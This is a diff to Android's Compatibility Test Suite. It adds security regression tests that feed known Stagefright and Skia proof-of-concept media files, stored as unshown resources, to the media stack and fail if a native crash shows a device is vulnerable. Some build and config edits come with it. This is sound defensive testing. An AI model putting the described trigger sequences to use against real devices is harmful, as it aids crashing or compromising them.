diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
similarity index 74%
rename from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
rename to tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
index 37276e2..8289784 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright (C) 2016 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,15 +14,16 @@
  * limitations under the License.
  */
 
-package com.android.tests.atomicinstall.testapp;
+package android.security.cts;
 
 import android.app.Activity;
 import android.os.Bundle;
 
-public class MainActivity extends Activity {
+import android.security.cts.R;
 
+public class SkiaJpegDecodingActivity extends Activity {
     @Override
-    public void onCreate(Bundle savedInstanceState) {
+    protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
new file mode 100644
index 0000000..55525e0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Activity;
+import android.test.ActivityInstrumentationTestCase2;
+
+public class SkiaJpegDecodingTest extends
+        ActivityInstrumentationTestCase2<SkiaJpegDecodingActivity> {
+    private Activity mActivity;
+
+    public SkiaJpegDecodingTest() {
+        super(SkiaJpegDecodingActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        assertNotNull("Failed to get the activity instance", mActivity);
+    }
+
+    public void testLibskiaOverFlowJpegProcessing() {
+      // When this is run on a vulnerable build the app will have a native crash
+      // which will fail the test. When it is run on a non-vulnerable build we may
+      // get a java-level exception, indicating that the error was handled properly
+      mActivity.runOnUiThread(new Runnable() {
+          public void run() {
+            try {
+              mActivity.setContentView(R.layout.activity_skiajpegdecoding);
+            } catch (android.view.InflateException e) {
+              return;
+            }
+          }
+        });
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mActivity != null) {
+            mActivity.finish();
+        }
+        super.tearDown();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 5539a50..d1daa5a 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -78,6 +78,7 @@
 import android.security.cts.R;
 
 import android.security.NetworkSecurityPolicy;
+import android.media.TimedText;
 
 /**
  * Verify that the device is not vulnerable to any known Stagefright
@@ -393,7 +394,7 @@
     @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_38014992() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_38014992_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_38014992_avc, "video/avc", 640, 480, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-07")
@@ -465,7 +466,7 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33818500() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_33818500_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_33818500_avc, "video/avc", 64, 32, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-01")
@@ -816,7 +817,7 @@
 
     @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_36279112() throws Exception {
-        doStagefrightTest(R.raw.bug_36279112);
+        doStagefrightTest(R.raw.bug_36279112, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-06")
@@ -867,8 +868,11 @@
         Thread server = new Thread() {
             @Override
             public void run() {
-                try (ServerSocket serverSocket = new ServerSocket(8080);
-                        Socket conn = serverSocket.accept()) {
+                try (ServerSocket serverSocket = new ServerSocket(8080) {
+                        {setSoTimeout(10_000);} // time out after 10 seconds
+                    };
+                    Socket conn = serverSocket.accept();
+                ) {
                     OutputStream outputstream = conn.getOutputStream();
                     InputStream inputStream = conn.getInputStream();
                     byte input[] = new byte[65536];
@@ -895,7 +899,7 @@
         };
         server.start();
         String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(false);
         LooperThread t = new LooperThread(new Runnable() {
             @Override
             public void run() {
@@ -1000,6 +1004,11 @@
         doStagefrightTest(R.raw.cve_2018_11287, 180000);
     }
 
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2327() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2327);
+    }
+
     @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_cve_2017_17773() throws Exception {
         doStagefrightTest(R.raw.cve_2017_17773);
@@ -1109,11 +1118,15 @@
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
+        doStagefrightTest(rid, true); // check addresss by default
+    }
+
+    private void doStagefrightTest(final int rid, boolean checkMinCrashAddress) throws Exception {
         NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
         policy.setCleartextTrafficPermitted(true);
-        doStagefrightTestMediaPlayer(rid);
-        doStagefrightTestMediaCodec(rid);
-        doStagefrightTestMediaMetadataRetriever(rid);
+        doStagefrightTestMediaPlayer(rid, checkMinCrashAddress);
+        doStagefrightTestMediaCodec(rid, checkMinCrashAddress);
+        doStagefrightTestMediaMetadataRetriever(rid, checkMinCrashAddress);
 
         Context context = getInstrumentation().getContext();
         CtsTestServer server = null;
@@ -1129,9 +1142,9 @@
         String rname = resources.getResourceEntryName(rid);
         String url = server.getAssetUrl("raw/" + rname);
         verifyServer(rid, url);
-        doStagefrightTestMediaPlayer(url);
-        doStagefrightTestMediaCodec(url);
-        doStagefrightTestMediaMetadataRetriever(url);
+        doStagefrightTestMediaPlayer(url, checkMinCrashAddress);
+        doStagefrightTestMediaCodec(url, checkMinCrashAddress);
+        doStagefrightTestMediaMetadataRetriever(url, checkMinCrashAddress);
         policy.setCleartextTrafficPermitted(false);
         server.shutdown();
     }
@@ -1162,11 +1175,16 @@
     }
 
     private void doStagefrightTest(final int rid, int timeout) throws Exception {
+        doStagefrightTest(rid, true, timeout); // check crash address by default
+    }
+
+    private void doStagefrightTest(
+            final int rid, boolean checkMinCrashAddress, int timeout) throws Exception {
         runWithTimeout(new Runnable() {
             @Override
             public void run() {
                 try {
-                  doStagefrightTest(rid);
+                  doStagefrightTest(rid, checkMinCrashAddress);
                 } catch (Exception e) {
                   fail(e.toString());
                 }
@@ -1175,6 +1193,11 @@
     }
 
     private void doStagefrightTestANR(final int rid) throws Exception {
+        doStagefrightTestANR(rid, true); // check crash address by default
+    }
+
+    private void doStagefrightTestANR(
+            final int rid, boolean checkMinCrashAddress) throws Exception {
         doStagefrightTestMediaPlayerANR(rid, null);
     }
 
@@ -1209,6 +1232,8 @@
         MediaPlayer.OnPreparedListener,
         MediaPlayer.OnCompletionListener {
 
+        boolean checkMinAddress = true;
+
         private final Pattern[] validProcessPatterns = {
             Pattern.compile("adsprpcd"),
             Pattern.compile("android\\.hardware\\.cas@\\d+?\\.\\d+?-service"),
@@ -1228,6 +1253,13 @@
             Pattern.compile("vendor.*"),
         };
 
+        MediaPlayerCrashListener() {
+        }
+
+        MediaPlayerCrashListener(boolean checkMinAddress) {
+            this.checkMinAddress = checkMinAddress;
+        }
+
         @Override
         public boolean onError(MediaPlayer mp, int newWhat, int extra) {
             Log.i(TAG, "error: " + newWhat + "/" + extra);
@@ -1273,7 +1305,8 @@
                 if (crashes == null) {
                     Log.e(TAG, "Crash results not found for test " + getName());
                     return what;
-                } else if (CrashUtils.securityCrashDetected(crashes, true, validProcessPatterns)) {
+                } else if (CrashUtils.securityCrashDetected(
+                        crashes, checkMinAddress, validProcessPatterns)) {
                     return what;
                 } else {
                     Log.i(TAG, "Crash ignored due to no security crash found for test " +
@@ -1321,11 +1354,21 @@
     }
 
     private void doStagefrightTestMediaPlayer(final int rid) throws Exception {
-        doStagefrightTestMediaPlayer(rid, null);
+        doStagefrightTestMediaPlayer(rid, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaPlayer(
+            final int rid, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaPlayer(rid, null, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaPlayer(final String url) throws Exception {
-        doStagefrightTestMediaPlayer(-1, url);
+        doStagefrightTestMediaPlayer(url, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaPlayer(
+            final String url, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaPlayer(-1, url, checkMinCrashAddress);
     }
 
     private void closeQuietly(AutoCloseable closeable) {
@@ -1340,12 +1383,17 @@
     }
 
     private void doStagefrightTestMediaPlayer(final int rid, final String uri) throws Exception {
+        doStagefrightTestMediaPlayer(rid, uri, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaPlayer(final int rid, final String uri,
+            boolean checkMinCrashAddress) throws Exception {
 
         String name = uri != null ? uri :
             getInstrumentation().getContext().getResources().getResourceEntryName(rid);
         Log.i(TAG, "start mediaplayer test for: " + name);
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
 
         LooperThread t = new LooperThread(new Runnable() {
             @Override
@@ -1391,17 +1439,106 @@
         t.join(); // wait for thread to exit so we're sure the player was released
     }
 
+    /*
+     * b/135207745
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testStagefright_cve_2019_2129() throws Exception {
+        final int rid = R.raw.cve_2019_2129;
+        String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+        Log.i(TAG, "start mediaplayer test for: " + name);
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                super.onPrepared(mp);
+                mp.setLooping(true);
+            }
+        };
+
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                RenderTarget renderTarget = RenderTarget.create();
+                Surface surface = renderTarget.getSurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    fd = getInstrumentation().getContext().getResources().openRawResourceFd(rid);
+                    mp.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
+                        @Override
+                        public void onTimedText(MediaPlayer p, TimedText text) {
+                            if (text != null) {
+                                Log.d(TAG, "text = " + text.getText());
+                            }
+                        }
+                    });
+                    mp.setDataSource(fd.getFileDescriptor(),
+                                     fd.getStartOffset(),
+                                     fd.getLength());
+                    //  keep the original as in poc by not using prepareAsync
+                    mp.prepare();
+                    mp.selectTrack(2);
+                } catch (Exception e) {
+                    Log.e(TAG, "Exception is caught " + e.getMessage());
+                    e.printStackTrace();
+                } finally {
+                    closeQuietly(fd);
+                }
+
+                try {
+                    //  here to catch & swallow the runtime crash in exception
+                    //  after the place where original poc failed in
+                    //  java.lang.IllegalArgumentException: parseParcel()
+                    //  which is beyond test control.
+                    Looper.loop();
+                } catch (RuntimeException e) {
+                    Log.e(TAG, "Exception is caught on Looper.loop() " + e.getMessage());
+                    e.printStackTrace();
+                }
+                mp.release();
+                renderTarget.destroy();
+            }
+        });
+
+        t.start();
+        String cve = name.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                    mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join(); // wait for thread to exit so we're sure the player was released
+    }
+
     private void doStagefrightTestMediaCodec(final int rid) throws Exception {
-        doStagefrightTestMediaCodec(rid, null);
+        doStagefrightTestMediaCodec(rid, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaCodec(
+            final int rid, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaCodec(rid, null, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaCodec(final String url) throws Exception {
-        doStagefrightTestMediaCodec(-1, url);
+        doStagefrightTestMediaCodec(url, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaCodec(
+            final String url, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaCodec(-1, url, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaCodec(final int rid, final String url) throws Exception {
+        doStagefrightTestMediaCodec(rid, url, true); // check crash address by default
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestMediaCodec(
+            final int rid, final String url, boolean checkMinCrashAddress) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
 
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
@@ -1559,17 +1696,31 @@
     }
 
     private void doStagefrightTestMediaMetadataRetriever(final int rid) throws Exception {
-        doStagefrightTestMediaMetadataRetriever(rid, null);
+        doStagefrightTestMediaMetadataRetriever(rid, true); // check crash address by default
+    }
+    private void doStagefrightTestMediaMetadataRetriever(
+            final int rid, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(rid, null, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaMetadataRetriever(final String url) throws Exception {
-        doStagefrightTestMediaMetadataRetriever(-1, url);
+        doStagefrightTestMediaMetadataRetriever(url, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaMetadataRetriever(
+            final String url, boolean checkMinCrashAddress) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(-1, url, checkMinCrashAddress);
     }
 
     private void doStagefrightTestMediaMetadataRetriever(
             final int rid, final String url) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(rid, url, true); // check crash address by default
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestMediaMetadataRetriever(
+            final int rid, final String url, boolean checkMinCrashAddress) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
 
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
@@ -1649,7 +1800,7 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testBug36895511() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-11")
@@ -1679,7 +1830,7 @@
 
     @SecurityTest(minPatchLevel = "2018-04")
     public void testBug_70897394() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240, false);
     }
 
     private int[] getFrameSizes(int rid) throws IOException {
@@ -1719,9 +1870,16 @@
         }, 5000);
     }
 
-    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight) throws Exception {
+    private void doStagefrightTestRawBlob(
+            int rid, String mime, int initWidth, int initHeight) throws Exception {
+        // check crash address by default
+        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, true);
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+            boolean checkMinCrashAddress) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
         final Context context = getInstrumentation().getContext();
         final Resources resources =  context.getResources();
 
@@ -1834,9 +1992,15 @@
     }
 
     private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
-        int frameSizes[]) throws Exception {
+            int frameSizes[]) throws Exception {
+        // check crash address by default
+        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, true);
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+            int frameSizes[], boolean checkMinCrashAddress) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
         final Context context = getInstrumentation().getContext();
         final Resources resources =  context.getResources();
 
@@ -1970,11 +2134,16 @@
     }
 
     private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
+        doStagefrightTestMediaPlayerANR(rid, uri, true); // check crash address by default
+    }
+
+    private void doStagefrightTestMediaPlayerANR(final int rid, final String uri,
+            boolean checkMinCrashAddress) throws Exception {
         String name = uri != null ? uri :
             getInstrumentation().getContext().getResources().getResourceEntryName(rid);
         Log.i(TAG, "start mediaplayerANR test for: " + name);
 
-        final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener(checkMinCrashAddress);
 
         LooperThread t = new LooperThread(new Runnable() {
             @Override
@@ -2018,7 +2187,12 @@
     }
 
     private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        doStagefrightTestExtractorSeek(rid, offset, true); // check crash address by default
+    }
+
+    private void doStagefrightTestExtractorSeek(final int rid, final long offset,
+            boolean checkMinCrashAddress) throws Exception {
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(checkMinCrashAddress);
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
             public void run() {
diff --git a/tests/tests/selinux/TEST_MAPPING b/tests/tests/selinux/TEST_MAPPING
new file mode 100644
index 0000000..a8bae77
--- /dev/null
+++ b/tests/tests/selinux/TEST_MAPPING
@@ -0,0 +1,20 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSelinuxEphemeralTestCases"
+    },
+    {
+      "name": "CtsSelinuxTargetSdk25TestCases"
+    },
+    {
+      "name": "CtsSelinuxTargetSdk27TestCases"
+    },
+    {
+      "name": "CtsSelinuxTargetSdk28TestCases"
+    },
+    {
+      "name": "CtsSelinuxTargetSdkCurrentTestCases"
+    }
+  ]
+}
+
diff --git a/tests/tests/shortcutmanager/AndroidTest.xml b/tests/tests/shortcutmanager/AndroidTest.xml
index 512330b..29a7f24 100644
--- a/tests/tests/shortcutmanager/AndroidTest.xml
+++ b/tests/tests/shortcutmanager/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Instant apps can't access ShortcutManager -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsShortcutManagerTestCases.apk" />
diff --git a/tests/tests/simpleperf/Android.mk b/tests/tests/simpleperf/Android.mk
index a9c17a7..3798883 100644
--- a/tests/tests/simpleperf/Android.mk
+++ b/tests/tests/simpleperf/Android.mk
@@ -19,9 +19,7 @@
   libsimpleperf_etm_decoder \
   libbacktrace \
   libunwindstack \
-  libdexfile_support \
-  libdexfile_external \
-  libdexfile \
+  libdexfile_support_static \
   libziparchive \
   libz \
   libgtest \
diff --git a/tests/tests/simpleperf/AndroidTest.xml b/tests/tests/simpleperf/AndroidTest.xml
index 2f3f38e..c302f8e 100644
--- a/tests/tests/simpleperf/AndroidTest.xml
+++ b/tests/tests/simpleperf/AndroidTest.xml
@@ -18,6 +18,9 @@
     <option name="config-descriptor:metadata" key="component" value="bionic" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system" />
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsSimpleperfTestCases->/data/local/tmp/CtsSimpleperfTestCases" />
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index a721b6f7..bc25d6c 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2008 The Android Open Source Project
+// Copyright (C) 2019 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -24,6 +24,8 @@
     libs: ["android.test.runner.stubs"],
     static_libs: [
         "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
         "ctstestrunner-axt",
         "metrics-helper-lib",
         "mockito-target-inline-minus-junit4",
@@ -35,6 +37,6 @@
         "libdexmakerjvmtiagent",
         "libmultiplejvmtiagentsinterferenceagent",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: ["src/**/*.java", "src/**/*.kt"],
     platform_apis: true,
 }
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
new file mode 100644
index 0000000..2a2e8e4
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.android.collect.Lists;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceProviderTest {
+
+    private static final String VALID_AUTHORITY = "android.slice.cts";
+    private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
+    private static final String ACTION_BLUETOOTH = "/action/bluetooth";
+    private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
+    private static final String VALID_ACTION_URI_STRING =
+            "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
+    private static final String SHADY_ACTION_URI_STRING =
+            "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
+
+    @Rule
+    public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
+
+    private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
+    private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
+    private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
+
+    private ContentResolver mContentResolver;
+
+    @Before
+    public void setUp() {
+        mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
+    }
+
+    @Test
+    public void testCallSliceUri_ValidAuthority() {
+        doQuery(validActionUri);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCallSliceUri_ShadyAuthority() {
+        doQuery(shadyActionUri);
+    }
+
+    private Slice doQuery(Uri actionUri) {
+        Bundle extras = new Bundle();
+        extras.putParcelable("slice_uri", actionUri);
+        extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
+                    new SliceSpec("androidx.slice.LIST", 1),
+                    new SliceSpec("androidx.app.slice.BASIC", 1),
+                    new SliceSpec("androidx.slice.BASIC", 1),
+                    new SliceSpec("androidx.app.slice.LIST", 1)
+            ));
+        Bundle result = mContentResolver.call(
+                validBaseUri,
+                SliceProvider.METHOD_SLICE,
+                null,
+                extras
+        );
+        return result.getParcelable(SliceProvider.EXTRA_SLICE);
+    }
+
+}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
new file mode 100644
index 0000000..4b78f3a
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts
+
+import android.app.slice.Slice
+import android.app.slice.SliceSpec
+import android.content.ContentResolver
+import android.net.Uri
+import android.os.Bundle
+
+import androidx.test.rule.ActivityTestRule
+import androidx.test.runner.AndroidJUnit4
+import org.junit.Before
+
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+private const val VALID_AUTHORITY = "android.slice.cts"
+private const val SUSPICIOUS_AUTHORITY = "com.suspicious.www"
+private const val ACTION_BLUETOOTH = "/action/bluetooth"
+private const val VALID_BASE_URI_STRING = "content://$VALID_AUTHORITY"
+private const val VALID_ACTION_URI_STRING = "content://$VALID_AUTHORITY$ACTION_BLUETOOTH"
+private const val SHADY_ACTION_URI_STRING = "content://$SUSPICIOUS_AUTHORITY$ACTION_BLUETOOTH"
+
+@RunWith(AndroidJUnit4::class)
+class SliceProviderTest {
+
+    @Rule @JvmField var activityTestRule = ActivityTestRule(Launcher::class.java)
+
+    private val validBaseUri = Uri.parse(VALID_BASE_URI_STRING)
+    private val validActionUri = Uri.parse(VALID_ACTION_URI_STRING)
+    private val shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING)
+
+    private lateinit var contentResolver: ContentResolver
+
+    @Before
+    fun setUp() {
+        contentResolver = activityTestRule.activity.contentResolver
+    }
+
+    @Test
+    fun testCallSliceUri_ValidAuthority() {
+        doQuery(validActionUri)
+    }
+
+    @Test(expected = SecurityException::class)
+    fun testCallSliceUri_ShadyAuthority() {
+        doQuery(shadyActionUri)
+    }
+
+    private fun doQuery(actionUri: Uri): Slice {
+        val extras = Bundle().apply {
+            putParcelable("slice_uri", actionUri)
+            putParcelableArrayList("supported_specs", ArrayList(listOf(
+                    SliceSpec("androidx.slice.LIST", 1),
+                    SliceSpec("androidx.app.slice.BASIC", 1),
+                    SliceSpec("androidx.slice.BASIC", 1),
+                    SliceSpec("androidx.app.slice.LIST", 1)
+            )))
+        }
+        val result = contentResolver.call(
+                validBaseUri,
+                SliceProvider.METHOD_SLICE,
+                null,
+                extras
+        )
+        return result.getParcelable(SliceProvider.EXTRA_SLICE)
+    }
+}
diff --git a/tests/tests/speech/AndroidTest.xml b/tests/tests/speech/AndroidTest.xml
index 9ce9cf3..53bca68 100644
--- a/tests/tests/speech/AndroidTest.xml
+++ b/tests/tests/speech/AndroidTest.xml
@@ -20,6 +20,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <!-- TTS Synthesizer pipeline is native code. -->
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM. -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 9640802..93fc4d9 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -87,7 +87,6 @@
     private static final String SETTINGS_PACKAGE_NAME = "com.android.settings";
     private static final String ARGUMENT_KEY_FORCE_ENABLE = "force_enable_gesture_navigation";
     private static final int STEPS = 10;
-    private static final int DIP_INTERVAL = 40;
 
     // The minimum value of the system gesture exclusion limit is 200 dp. The value here should be
     // greater than that, so that we can test if the limit can be changed by DeviceConfig or not.
@@ -96,6 +95,7 @@
     private final boolean mForceEnableGestureNavigation;
     private final Map<String, Boolean> mSystemGestureOptionsMap;
